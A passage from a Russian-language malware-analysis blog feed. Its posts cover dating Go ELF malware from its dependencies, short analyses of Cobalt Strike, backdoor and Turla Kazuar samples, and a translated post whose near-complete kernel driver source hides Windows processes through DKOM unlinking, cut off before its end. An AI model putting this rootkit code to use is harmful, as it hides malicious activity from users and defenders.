<p><a href="https://github.com/thatskriptkid/chrononz"><strong>Source Code Link</strong></a></p>]]></content><author><name></name></author><category term="[&quot;en&quot;]" /><category term="linux" /><category term="malware analysis" /><summary type="html"><![CDATA[Intro]]></summary></entry><entry><title type="html">Вычисление примерного (минимального) timestamp у golang elf malware</title><link href="https://orderofsixangles.com/ru/2022/07/09/goelf-time-ru.html" rel="alternate" type="text/html" title="Вычисление примерного (минимального) timestamp у golang elf malware" /><published>2022-07-09T00:00:00+00:00</published><updated>2022-07-09T00:00:00+00:00</updated><id>https://orderofsixangles.com/ru/2022/07/09/goelf-time-ru</id><content type="html" xml:base="https://orderofsixangles.com/ru/2022/07/09/goelf-time-ru.html"><![CDATA[<h2 id="вступление">Вступление</h2>

<p>Timestamp (или дата компиляции) является одним из главных характеристик малвари. Он позволяет понять является ли образец свежим, использовался ли образец в других атаках и дать представление о том, когда примерно готовилась атака. Но что делать, если малварь формата elf, который как известно не сохраняет дату компиляции файла?</p>

<p>Golang малварь получила большое распространение за последние несколько лет.</p>
<p>
<details>
<summary> список </summary>
<pre>
1. Sandworm-Team (Exaramel-Linux)
2. APT28 Zebrocy
3. Ekans
4. Kinsing (miner)
5. Mustang Panda 
6. Rocke
7. APT29 WellMess/WellMail
8. Gobot
9. rocke
10. htran
11. goodor
12. FritzFrog
13. Gobrut
14. Geacon
15. Kaiji
16. NSPPS
17. Carbanak
18. Veil
19. AgeLocker
20. Notrobin
21. r2r2
22. Blackrota
23. IPStorm
24. RobbinHood
25. TinyBanker
26. CHAOS
27. NEsha
28. Hercules
29. Gandalf
30. RDW
31. hershell
32. ARCANUS
33. braincrypt
34. Klingon RAT
</pre>
</details>
</p>

<p>Универсальность языка позволяет скомпилировать один и тот же исходник под разные архитектуры и ос, в том числе и под линукс в виде ELF файла.</p>

<p>Недавно я посмотрел видео <a href="https://www.youtube.com/watch?v=kwrIr8Ydwro">Golang Malware: Using the attackers force against them</a>, в котором прозвучала интересная мысль. Мысль заключалась в том, что существует возможность вычисления примерного timestamp у бинарника, используя зависимости. Алгоритм вычисления из видео следующий:</p>

<ol>
  <li>Берем golang ELF малварь</li>
  <li>Получаем список зависимостей</li>
  <li>Получаем версию зависимости</li>
  <li>Получаем дату конкретной версии (релиза) зависимости</li>
  <li>Создаем список из дат</li>
  <li>Берем самую позднюю дату, она и будет являться примерным (минимальным) timestamp</li>
</ol>

<h2 id="код">Код</h2>

<p>Решено было реализовать эту мысль в коде. Для получения зависимостей использовался проект <a href="github.com/goretk/gore">gore</a>. Надо иметь в виду, что зависимости из бинарника возможно получить, только если у него есть секция <a href="https://www.mandiant.com/resources/golang-internals-symbol-recovery">gopclntab</a>. Для примера будем рассматривать образец малвари Kinsing. <a href="https://attack.mitre.org/software/S0599/">Kinsing</a> - это golang малварь, которая запускает майнер. gore возвращает список зависимостей в таком виде:</p>

<pre>
\go\pkg\mod\github.com\armon\go-socks5@v0.0.0-20160902184237-e75332964ef5
\go\pkg\mod\github.com\tklauser\go-sysconf@v0.3.10
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\mem
\go\pkg\mod\github.com\kelseyhightower\envconfig@v1.4.0
\go\pkg\mod\github.com\tklauser\numcpus@v0.4.0
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\process
\go\pkg\mod\github.com\asaskevich\govalidator@v0.0.0-20210307081110-f21760c49a8d
\go\pkg\mod\github.com\google\btree@v1.0.1
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\cpu
\go\pkg\mod\github.com\hashicorp\yamux@v0.0.0-20211028200310-0bc27b27de87
\go\pkg\mod\github.com\peterbourgon\diskv@v2.0.1+incompatible
\go\pkg\mod\github.com\go-resty\resty\v2@v2.7.0
\go\pkg\mod\github.com\op\go-logging@v0.0.0-20160315200505-970db520ece7
\go\pkg\mod\golang.org\x\net@v0.0.0-20220225172249-27dd8689420f\context
\go\pkg\mod\golang.org\x\net@v0.0.0-20220225172249-27dd8689420f\publicsuffix
\go\pkg\mod\github.com\nu7hatch\gouuid@v0.0.0-20131221200532-179d4d0c4d8d
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\host
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\net
\go\pkg\mod\github.com\kardianos\osext@v0.0.0-20190222173326-2bc1f35cddc0
\go\pkg\mod\github.com\paulbellamy\ratecounter@v0.2.0
\go\pkg\mod\golang.org\x\sys@v0.0.0-20220319134239-a9b59b0215f8\unix
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\internal\common
</pre>

<p>Если посмотреть внимательно, обнаружится, что версии зависимостей Golang представляет в трех видах:</p>

<ol>
  <li>v0.0.0-20160902184237-e75332964ef5</li>
  <li>v3.21.11+incompatible\cpu</li>
  <li>v0.3.10</li>
</ol>

<p>В первом виде, версия зависимости всегда v0.0.0, то есть зависимость не имеет релизов, а значит сама строка версии содержит дату создания. Поэтому мы просто берем дату из строки.</p>

<p>Во втором виде, <code class="language-plaintext highlighter-rouge">incompatible</code> означает, что зависимость не имеет файла <code class="language-plaintext highlighter-rouge">go.mod</code> и имеет версию больше 2. Мы отрбасываем слово incompatible и берем только версию.</p>

<p>В третьем виде у нас ничего нет, кроме версии, поэтому переходим к следующему шагу.</p>

<p>Зная только версию зависимости, мы с помощью <a href="https://github.com/google/go-github">golang библиотеки для работы с GithubAPI</a> можем попробовать получить дату релиза. Рассмотрим на примере зависимости <code class="language-plaintext highlighter-rouge">\go\pkg\mod\github.com\tklauser\go-sysconf@v0.3.10</code>.
Так как не все репозитории зависимостей имеют релизы, а только тэги, используется метод <a href="https://docs.github.com/en/rest/git/tags#get-a-tag"><code class="language-plaintext highlighter-rouge">ListTags</code></a>. <code class="language-plaintext highlighter-rouge">owner</code> и <code class="language-plaintext highlighter-rouge">repo</code> в данном случае будут значения - <code class="language-plaintext highlighter-rouge">tklauser</code> и <code class="language-plaintext highlighter-rouge">go-sysconf</code></p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">tags</span><span class="p">,</span> <span class="n">resp</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">client</span><span class="o">.</span><span class="n">Repositories</span><span class="o">.</span><span class="n">ListTags</span><span class="p">(</span><span class="n">context</span><span class="o">.</span><span class="n">Background</span><span class="p">(),</span> <span class="n">owner</span><span class="p">,</span> <span class="n">repo</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span>
</code></pre></div></div>

<p>Мы получим данные о каждом тэге (релизе)</p>

<p><img src="/assets/images/golang_timestamp/1.png" alt="" /></p>

<p>У тэга есть поле <code class="language-plaintext highlighter-rouge">commit</code> с полем <code class="language-plaintext highlighter-rouge">SHA</code>.  Используя Github Commit API мы получаем информацию о коммите</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">commit</span><span class="p">,</span> <span class="n">resp</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">client</span><span class="o">.</span><span class="n">Repositories</span><span class="o">.</span><span class="n">GetCommit</span><span class="p">(</span><span class="n">context</span><span class="o">.</span><span class="n">Background</span><span class="p">(),</span> <span class="n">owner</span><span class="p">,</span> <span class="n">repo</span><span class="p">,</span> <span class="n">sha</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span>
</code></pre></div></div>
<p>В ответе будет дата коммита.</p>

<p><img src="/assets/images/golang_timestamp/2.png" alt="" /></p>

<p>Теперь у нас есть даты конкретных релизов конкретной зависимости. Из этих дат находим самую позднюю, она и будет примерным (минимальным) timestamp образца:</p>

<p><img src="/assets/images/golang_timestamp/3.png" alt="" /></p>

<p><a href="https://github.com/thatskriptkid/chrononz"><strong>Исходный код</strong></a></p>]]></content><author><name></name></author><category term="[&quot;ru&quot;]" /><category term="linux" /><category term="malware analysis" /><summary type="html"><![CDATA[Вступление]]></summary></entry><entry><title type="html">ExpressБайтоебство_0</title><link href="https://orderofsixangles.com/ru/2022/02/03/express-byte-0.html" rel="alternate" type="text/html" title="ExpressБайтоебство_0" /><published>2022-02-03T00:00:00+00:00</published><updated>2022-02-03T00:00:00+00:00</updated><id>https://orderofsixangles.com/ru/2022/02/03/express-byte-0</id><content type="html" xml:base="https://orderofsixangles.com/ru/2022/02/03/express-byte-0.html"><![CDATA[<p><em>Быстрый рассказ о хламе, что скапливается в голове</em></p>

<h1 id="0">0</h1>

<p>Увидел <a href="https://twitter.com/ShadowChasing1/status/1494470323063779353">твит</a></p>

<p><img src="/assets/images/ru/express_0/twit.png" alt="" /></p>

<p>Стало интересно, малварь для турков, на момент просмотра было всего 5 детектов на <a href="https://www.virustotal.com/gui/file/6ee1e629494d7b5138386d98bd718b010ee774fe4a4c9d0e069525408bb7b1f7/detection">вт</a>. Почему так мало? (когда сделал скрин, стало уже 10)</p>

<p><img src="/assets/images/ru/express_0/vs.png" alt="" /></p>

<p>В письме присылался ISO файл, внутри lnk и DLL. ISO обычно используется для избегания детектирования. lnk вызывает функцию DeleteDateConnectionPosition в DLL. Анализирую DLLы я так -</p>
<ol>
  <li>Копирую в папку саму длл и файл rundll32.exe</li>
  <li>В x64dbg в commandline прописываю <code class="language-plaintext highlighter-rouge">"D:\rundll32.exe" D:\\malware.dll,DeleteDateConnectionPosition</code></li>
  <li>В preference ставлю галочку Dll Entry (чтобы словить нашу длл)</li>
  <li>Кликаю F9, пока не подгрузится наша длл</li>
  <li>Как подгрузилась, ставлю брейкпоинт на нужную функцию</li>
</ol>

<p>на первый взгляд все выглядело очень мутно, куча неочевидных действий, но есть VirtualAlloc. VirtualAlloc обычно используется для распаковки в выделенную память чегото</p>

<p><img src="/assets/images/ru/express_0/imports.png" alt="" /></p>

<p>выявился одинаковый повторяющийся паттерн through бинарник, который очень похож на декодирование чегото</p>

<p><img src="/assets/images/ru/express_0/decode_logic.png" alt="" /></p>

<p>mov-хуюв, чтото кудато перекладывается, мне было неважно, меня привлек VirtualAlloc, стало понятно, что чтото декодируется, а потом исполняется поэтому решено было тупо промотать все до прямого вызова адреса в памяти (типа call MEMORY_ADDR). И яего нашел</p>

<p><img src="/assets/images/ru/express_0/call_rax.png" alt="" /></p>

<p>Декодированые инструкции выглядили вот так</p>

<p><img src="/assets/images/ru/express_0/decoded_instructions.png" alt="" /></p>

<p>Чуть продебажил и увидел в памяти что-то похожее на PE</p>

<p><img src="/assets/images/ru/express_0/pe.png" alt="" /></p>

<p>Хэдер у него правда MZARUH, бросающийся в глаза. Это слово попадается в <a href="https://github.com/avast/ioc/blob/master/CobaltStrike/yara_rules/cs_rules.yar">yara правиле</a> от avast, под именем <code class="language-plaintext highlighter-rouge">cobaltstrike_beacon_encoded</code>. Остановившись в дебагере запустил <a href="https://github.com/hasherezade/hollows_hunter">hollows_hunter</a>, дампнул этот PE, посмотрел свойства, намеков на cobaltstrike стало больше, да и ребята подтвердили</p>

<p><img src="/assets/images/ru/express_0/cs.png" alt="" /></p>

<h1 id="1">1</h1>

<p>Увидел <a href="https://twitter.com/RedDrip7/status/1493905786354892801">твит</a>.</p>

<p><img src="/assets/images/ru/express_0/twit2.png" alt="" /></p>

<p><a href="https://www.virustotal.com/gui/file/a4afaa41383f447d96d0ebb1e2e50721af080e951d40754a836215fb2c3f0660/detection">2 детекта</a>. MSI. Распаковываем его любым способом из интернета, получаем mtSilverclient.exe. Это C#. Коннектится к snapsvcvirtual[.]net (0 детектов вт). Очень подозрительно.</p>

<p>Мимикрирует под silverlight прогу</p>

<p><img src="/assets/images/ru/express_0/silver.png" alt="" /></p>

<p>Код разбит по тематическим неймспейсам, например hibiscus.contention занимается связью с С2. HelpMeOut - отправка/прием данных, которые кодируются ксором</p>

<p><img src="/assets/images/ru/express_0/helpme.png" alt="" /></p>

<p>ProcessHelp класс может рассказать обо всем функционале малвари</p>

<p><img src="/assets/images/ru/express_0/processHelp.png" alt="" /></p>

<p>Выполнение комманд происходит так, создает пайпы для powershell, и тупо работает через него.</p>

<p><img src="/assets/images/ru/express_0/pipes.png" alt="" /></p>

<p>интересно, почему так мало детектов? Я думаю потому что</p>
<ol>
  <li>По сути делает 1 коннект к “безобидному” домену и ждет</li>
  <li>Запакован в MSI</li>
</ol>

<h1 id="2">2</h1>

<p><img src="/assets/images/ru/express_0/2_twit.png" alt="" /></p>

<p>Строки лежат в чистом виде, коннектится к следующим адресам</p>

<p><img src="/assets/images/ru/express_0/url.png" alt="" /></p>

<p>и скачивает файл в</p>

<p><img src="/assets/images/ru/express_0/2_open_file.png" alt="" /></p>

<p>Получается просто downloader</p>

<h1 id="3">3</h1>

<p><img src="/assets/images/ru/express_0/turla/3.png" alt="" /></p>

<p>https://twitter.com/BaoshengbinCumt/status/1495578841544531968</p>

<p>Турла. Детектируется как Kazuar, по следующим yara правилам (<a href="https://github.com/Neo23x0/signature-base">1</a>, <a href="https://github.com/intezer/yara-rules">2</a>) - <code class="language-plaintext highlighter-rouge">APT_MAL_RU_Turla_Kazuar_May20_1</code>, <code class="language-plaintext highlighter-rouge">Kazuar</code>. Как известно, казуар - это .NET RAT.</p>

<p>сэндбоксы, windows loader, парсеры проанализровать файл не могут</p>

<p><img src="/assets/images/ru/express_0/turla/4.png" alt="" /></p>

<p>Раз так, откроем его в хекс редакторе, посмотрим глазами. Мы увидим, что один файл содержит внутри себя как минимум три PE (судя по хэдеру)</p>

<p><img src="/assets/images/ru/express_0/turla/5.png" alt="" /></p>

<p>Разделим файл руками на 3 части, каждая будет являться PE файлом. Первый, невалидный, его не может загрузить windows loader и парсеры ругаются.</p>

<p><img src="/assets/images/ru/express_0/turla/7.png" alt="" /></p>

<p>Дальше начал читать что пишет <a href="https://www.red-gate.com/simple-talk/blogs/anatomy-of-a-net-assembly-pe-headers/">чувак</a> по поводу структуры .NET файлов, так как они очевидно отличаются от стандартной PE. Отличаются например тем, что у .NET файлов всего 3 секции и таблица импортов и тд лежит в секции text.text вообще содержит всю CLR метадату.</p>

<p><img src="/assets/images/ru/express_0/turla/8.png" alt="" /></p>

<p>PEbear с недавних пор понимает .NET файлы. У нашего файла он пустой</p>

<p><img src="/assets/images/ru/express_0/turla/9.png" alt="" /></p>

<p>Короче я решил начать с того, чтобы восстановить CLI header (заголовок, описывающий .NET файл). Смотрите, секция .text валидного .NET файла должна начинаться по оффсету 0x200, и с 0x208 начинается CLI header. Я взял рандомный валидный .net файл, и сравнил с нашим казуартом</p>

<p><img src="/assets/images/ru/express_0/turla/10.png" alt="" /></p>

<p>стало очевидно, что здесь вставлен огромный блоб заполненый нулям, нахрена он нужен, я незнаю, так как он рушит всю структуру и тут не нужен. Зная, что каждый cli header должен начинаться с байт 0x48 (его размер) 0x2 (константа) 0x5 (константа), сделал поиск по этим байтам дальше по файлу. Байты были найдену по смещению 0x2008, то есть файл был испорчен (хрен пойми кем и как) блобом заполненым нулями размером 0x1e00</p>

<p><img src="/assets/images/ru/express_0/turla/11.png" alt="" /></p>

<p>Вырезаем этот блоб из файла. Почему он именно длиной 0x1e00? Если мы посмотрим на raw и virtualaddress секции text, то его разница как раз будет равняться 1e00</p>

<p><img src="/assets/images/ru/express_0/turla/12.png" alt="" /></p>

<p>Теперь сравним валидный и нашего бедолагу в dnspy</p>

<p><img src="/assets/images/ru/express_0/turla/13.png" alt="" /></p>

<p>Как видно, у нас все еще не определяются потоки и даже подпись. Потоки находятся в Metadata. Metadata RVA прописан в .NET header. Metadata header должен начинаться с константы 0x424a5342. В нашем файле сейчас 0x369A0. Что мы делаем? Мы ищем в нашем файле константу 0x424a5342 и подгоняем RVA так, чтобы он начинался с этой константы. Он становится равным - OriginalMetadata.VA - 0x1e00</p>

<p><img src="/assets/images/ru/express_0/turla/15.png" alt="" /></p>

<p>У нас определились потоки и даже типы (правда коряво)</p>

<p><img src="/assets/images/ru/express_0/turla/16.png" alt="" /></p>

<p>Теперь посмотрим на таблицу импортов.</p>

<p><img src="/assets/images/ru/express_0/turla/17.png" alt="" /></p>

<p>У .NET должен быть 1 импорт с 1 функцией, выставляем правильно соответствующие оффсеты и получаем</p>

<p><img src="/assets/images/ru/express_0/turla/18.png" alt="" /></p>

<p>entry point должен указывать на начало loader stub, который представлен байтами FF 25 00 20 40 00 или по другому jmp 0x402000. Это jump на CorExe библиотеки mscoree. Поэтому ищем эти байты у себя в файле, высчитываем RVA и заменяем.</p>

<p><img src="/assets/images/ru/express_0/turla/19.png" alt="" /></p>

<p>по крайней мере теперь он запускается. И падает, что естественно</p>

<p><img src="/assets/images/ru/express_0/turla/20.png" alt="" /></p>

<p>а естественно, потому что .net runtime по всей видимости не может найти код и метаданные кода (MethodDef, TypeDef, …). Мне еще удалось восстановить .reloc и .rsrc секции, но ирония в том, что они для нормальной работы не нужны. Точнее, их повреждение не мешает работе. .reloc секция всегда содержит 1 запись, это собственно говоря релокация адреса входа в функцию CorExe. Ну а в ресурсах обычно лежат два entity - ID и манифест. Попытки дальнейшего восстановления дали понять, что вручную это практически невозможно и я забил.</p>

<p>Несмотря на поврежденную структуру мы все еще может судить о функционале по видимым строкам в бинарнике. Как минимум таким функционалом обладает данный образец:</p>

<ol>
  <li>Использование шифрования (симметричное и RSA)</li>
  <li>WMI запросы</li>
  <li>Работа с сетью (прокси, HTTPS)</li>
  <li>Process Injection/DLL injection (скорее всего для инжекта DLL в Explorer.exe)</li>
  <li>Работа с реестром</li>
  <li>Работа  с файловой системой</li>
  <li>работа с XML</li>
</ol>

<p>Внутри, бинарник содержит две DLL x86/x64. Они содержат метод проверки, заинжекчены ли они в Explorer.exe (Инжект в Explorer.exe является одним из <a href="https://unit42.paloaltonetworks.com/unit42-kazuar-multiplatform-espionage-backdoor-api-access/">известных</a> индикаторов Turla Kazuar .NET)</p>

<p><img src="/assets/images/ru/express_0/turla/21.png" alt="" /></p>

<p>Очень интересная деталь, под конец, я нашел, что бинарник содержит строку <code class="language-plaintext highlighter-rouge">E73DCA6A8E53934C77A0BB669FDC383A20925866</code> - SHA1 хэш <a href="https://www.virustotal.com/gui/file/ae0e99f574dcecf015d10d5209dd80c6b1b63101a65497a83c041d69a4182220/details">известного образца</a> турлы казуар, который был загружен на ВТ	2020-05-15. То есть, этот образец использует старые и известные пейлоды</p>

<p><img src="/assets/images/ru/express_0/turla/22.png" alt="" /></p>

<p>Вывод - в целом, несмотря на то, что неудалось восстановить образец до работоспособного состояния, по сумме признаков можно сделать вывод о совпадении публично описанного функционала с имеющимся.</p>]]></content><author><name></name></author><category term="[&quot;ru&quot;]" /><category term="windows" /><summary type="html"><![CDATA[Быстрый рассказ о хламе, что скапливается в голове]]></summary></entry><entry><title type="html">Сокрытие процесса с помощью DKOM</title><link href="https://orderofsixangles.com/translations/2021/06/13/dkom-hide-proc.html" rel="alternate" type="text/html" title="Сокрытие процесса с помощью DKOM" /><published>2021-06-13T00:00:00+00:00</published><updated>2021-06-13T00:00:00+00:00</updated><id>https://orderofsixangles.com/translations/2021/06/13/dkom-hide-proc</id><content type="html" xml:base="https://orderofsixangles.com/translations/2021/06/13/dkom-hide-proc.html"><![CDATA[<p>DKOM - это техника, используемая некоторыми ядерными руткитами для сокрытия запущенного процесса. 
При сокрытии процесса, используя DKOM, руткит изменяет поля Flink и Blink у ActiveProcessLinks в структуре EPROCESS. 
Чтобы получить доступ к полям ActiveProcessLinks, руткит должен знать его смещение. 
Проблема заключается в том, что смещение ActiveProcessLinks в EPROCESS различается для каждой версии Windows, 
и руткиту необходимо хардкодить смещения и определять версию системы при скрытии процессов.</p>

<p>Однако, я нашел решение этой проблемы. 
После некоторых поисков в интернете, я обнаружил, что поле ActiveProcessLinks всегда находится рядом с полем UniqueProcessId структуры EPROCESS. 
Благодаря этому, мы можем найти расположение ActiveProcessLinks, найдя PID в структуре EPROCESS, таким образом, избегая жестко закодированных смещений.</p>

<p>Следующий драйвер скрывает процессы, используя DKOM, без хардкодинга смещений.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;ntifs.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;ntddk.h&gt;</span><span class="cp">
</span> 
<span class="n">UNICODE_STRING</span> <span class="n">DeviceName</span><span class="o">=</span><span class="n">RTL_CONSTANT_STRING</span><span class="p">(</span><span class="s">L"</span><span class="se">\\</span><span class="s">Device</span><span class="se">\\</span><span class="s">DKOM_Driver"</span><span class="p">),</span><span class="n">SymbolicLink</span><span class="o">=</span><span class="n">RTL_CONSTANT_STRING</span><span class="p">(</span><span class="s">L"</span><span class="se">\\</span><span class="s">DosDevices</span><span class="se">\\</span><span class="s">DKOM_Driver"</span><span class="p">);</span>
<span class="n">PDEVICE_OBJECT</span> <span class="n">pDeviceObject</span><span class="p">;</span>
 
<span class="kt">void</span> <span class="nf">Unload</span><span class="p">(</span><span class="n">PDRIVER_OBJECT</span> <span class="n">pDriverObject</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">IoDeleteSymbolicLink</span><span class="p">(</span><span class="o">&amp;</span><span class="n">SymbolicLink</span><span class="p">);</span>
    <span class="n">IoDeleteDevice</span><span class="p">(</span><span class="n">pDriverObject</span><span class="o">-&gt;</span><span class="n">DeviceObject</span><span class="p">);</span>
<span class="p">}</span>
 
<span class="n">NTSTATUS</span> <span class="n">DriverDispatch</span><span class="p">(</span><span class="n">PDEVICE_OBJECT</span> <span class="n">DeviceObject</span><span class="p">,</span><span class="n">PIRP</span> <span class="n">irp</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">PIO_STACK_LOCATION</span> <span class="n">io</span><span class="p">;</span>
    <span class="n">PVOID</span> <span class="n">buffer</span><span class="p">;</span>
    <span class="n">PEPROCESS</span> <span class="n">Process</span><span class="p">;</span>
 
    <span class="n">PULONG</span> <span class="n">ptr</span><span class="p">;</span>
    <span class="n">PLIST_ENTRY</span> <span class="n">PrevListEntry</span><span class="p">,</span><span class="n">CurrListEntry</span><span class="p">,</span><span class="n">NextListEntry</span><span class="p">;</span>
 
    <span class="n">NTSTATUS</span> <span class="n">status</span><span class="p">;</span>
    <span class="n">ULONG</span> <span class="n">i</span><span class="p">,</span><span class="n">offset</span><span class="p">;</span>
 
    <span class="n">io</span><span class="o">=</span><span class="n">IoGetCurrentIrpStackLocation</span><span class="p">(</span><span class="n">irp</span><span class="p">);</span>
    <span class="n">irp</span><span class="o">-&gt;</span><span class="n">IoStatus</span><span class="p">.</span><span class="n">Information</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
    <span class="n">offset</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
 
    <span class="k">switch</span><span class="p">(</span><span class="n">io</span><span class="o">-&gt;</span><span class="n">MajorFunction</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">case</span> <span class="n">IRP_MJ_CREATE</span><span class="p">:</span>
            <span class="n">status</span><span class="o">=</span><span class="n">STATUS_SUCCESS</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">IRP_MJ_CLOSE</span><span class="p">:</span>
            <span class="n">status</span><span class="o">=</span><span class="n">STATUS_SUCCESS</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">IRP_MJ_READ</span><span class="p">:</span>
            <span class="n">status</span><span class="o">=</span><span class="n">STATUS_SUCCESS</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">IRP_MJ_WRITE</span><span class="p">:</span>
 
            <span class="n">buffer</span><span class="o">=</span><span class="n">MmGetSystemAddressForMdlSafe</span><span class="p">(</span><span class="n">irp</span><span class="o">-&gt;</span><span class="n">MdlAddress</span><span class="p">,</span><span class="n">NormalPagePriority</span><span class="p">);</span>
 
            <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">buffer</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="n">status</span><span class="o">=</span><span class="n">STATUS_INSUFFICIENT_RESOURCES</span><span class="p">;</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="p">}</span>
 
            <span class="n">DbgPrint</span><span class="p">(</span><span class="s">"Process ID: %d"</span><span class="p">,</span><span class="o">*</span><span class="p">(</span><span class="n">PHANDLE</span><span class="p">)</span><span class="n">buffer</span><span class="p">);</span>
 
            <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">NT_SUCCESS</span><span class="p">(</span><span class="n">status</span><span class="o">=</span><span class="n">PsLookupProcessByProcessId</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">PHANDLE</span><span class="p">)</span><span class="n">buffer</span><span class="p">,</span><span class="o">&amp;</span><span class="n">Process</span><span class="p">)))</span>
            <span class="p">{</span>
                <span class="n">DbgPrint</span><span class="p">(</span><span class="s">"Error: Unable to open process object (%#x)"</span><span class="p">,</span><span class="n">status</span><span class="p">);</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="p">}</span>
 
            <span class="n">DbgPrint</span><span class="p">(</span><span class="s">"EPROCESS address: %#x"</span><span class="p">,</span><span class="n">Process</span><span class="p">);</span>
            <span class="n">ptr</span><span class="o">=</span><span class="p">(</span><span class="n">PULONG</span><span class="p">)</span><span class="n">Process</span><span class="p">;</span>
 
            <span class="c1">// Сканируем структуру EPROCESS, для нахождения PID</span>
 
            <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="mi">512</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="k">if</span><span class="p">(</span><span class="n">ptr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">==*</span><span class="p">(</span><span class="n">PULONG</span><span class="p">)</span><span class="n">buffer</span><span class="p">)</span>
                <span class="p">{</span>
                    <span class="n">offset</span><span class="o">=</span><span class="p">(</span><span class="n">ULONG</span><span class="p">)</span><span class="o">&amp;</span><span class="n">ptr</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="o">-</span><span class="p">(</span><span class="n">ULONG</span><span class="p">)</span><span class="n">Process</span><span class="p">;</span> <span class="c1">// ActiveProcessLinks находится рядом с PID</span>
 
                    <span class="n">DbgPrint</span><span class="p">(</span><span class="s">"ActiveProcessLinks offset: %#x"</span><span class="p">,</span><span class="n">offset</span><span class="p">);</span>
                    <span class="k">break</span><span class="p">;</span>
                <span class="p">}</span>
            <span class="p">}</span>
 
            <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">offset</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="n">status</span><span class="o">=</span><span class="n">STATUS_UNSUCCESSFUL</span><span class="p">;</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="p">}</span>
 
            <span class="n">CurrListEntry</span><span class="o">=</span><span class="p">(</span><span class="n">PLIST_ENTRY</span><span class="p">)((</span><span class="n">PUCHAR</span><span class="p">)</span><span class="n">Process</span><span class="o">+</span><span class="n">offset</span><span class="p">);</span> <span class="c1">// Получаем адрес ActiveProcessLinks</span>
 
            <span class="n">PrevListEntry</span><span class="o">=</span><span class="n">CurrListEntry</span><span class="o">-&gt;</span><span class="n">Blink</span><span class="p">;</span>
            <span class="n">NextListEntry</span><span class="o">=</span><span class="n">CurrListEntry</span><span class="o">-&gt;</span><span class="n">Flink</span><span class="p">;</span>
 
            <span class="c1">// Удаляем целевой процесс из списка процессов</span>
            <span class="n">PrevListEntry</span><span class="o">-&gt;</span><span class="n">Flink</span><span class="o">=</span><span class="n">CurrListEntry</span><span class="o">-&gt;</span><span class="n">Flink</span><span class="p">;</span>
            <span class="n">NextListEntry</span><span class="o">-&gt;</span><span class="n">Blink</span><span class="o">=</span><span class="n">CurrListEntry</span><span class="o">-&gt;</span><span class="n">Blink</span><span class="p">;</span>
 
            <span class="c1">// Указываем поля Flink и Blink на себя</span>
 
            <span class="n">CurrListEntry</span><span class="o">-&gt;</span><span class="n">Flink</span><span class="o">=</span><span class="n">CurrListEntry</span><span class="p">;</span>
            <span class="n">CurrListEntry</span><span class="o">-&gt;</span><span class="n">Blink</span><span class="o">=</span><span class="n">CurrListEntry</span><span class="p">;</span>
 
            <span class="n">ObDereferenceObject</span><span class="p">(</span><span class="n">Process</span><span class="p">);</span> <span class="c1">// Освобождаем целевой процесс</span>
 
            <span class="n">status</span><span class="o">=</span><span class="n">STATUS_SUCCESS</span><span class="p">;</span>
            <span class="n">irp</span><span class="o">-&gt;</span><span class="n">IoStatus</span><span class="p">.</span><span class="n">Information</span><span class="o">=</span><span class="k">sizeof</span><span class="p">(</span><span class="n">HANDLE</span><span class="p">);</span>
 
            <span class="k">break</span><span class="p">;</span>
 
        <span class="nl">default:</span>
            <span class="n">status</span><span class="o">=</span><span class="n">STATUS_INVALID_DEVICE_REQUEST</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
 
    <span class="n">irp</span><span class="o">-&gt;</span><span class="n">IoStatus</span><span class="p">.</span><span class="n">Status</span><span class="o">=</span><span class="n">status</span><span class="p">;</span>
 
    <span class="n">IoCompleteRequest</span><span class="p">(</span><span class="n">irp</span><span class="p">,</span><span class="n">IO_NO_INCREMENT</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">status</span><span class="p">;</span>
<span class="p">}</span>
 
<span class="n">NTSTATUS</span> <span class="n">DriverEntry</span><span class="p">(</span><span class="n">PDRIVER_OBJECT</span> <span class="n">pDriverObject</span><span class="p">,</span><span class="n">PUNICODE_STRING</span> <span class="n">pRegistryPath</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">ULONG</span> <span class="n">i</span><span class="p">;</span>
     
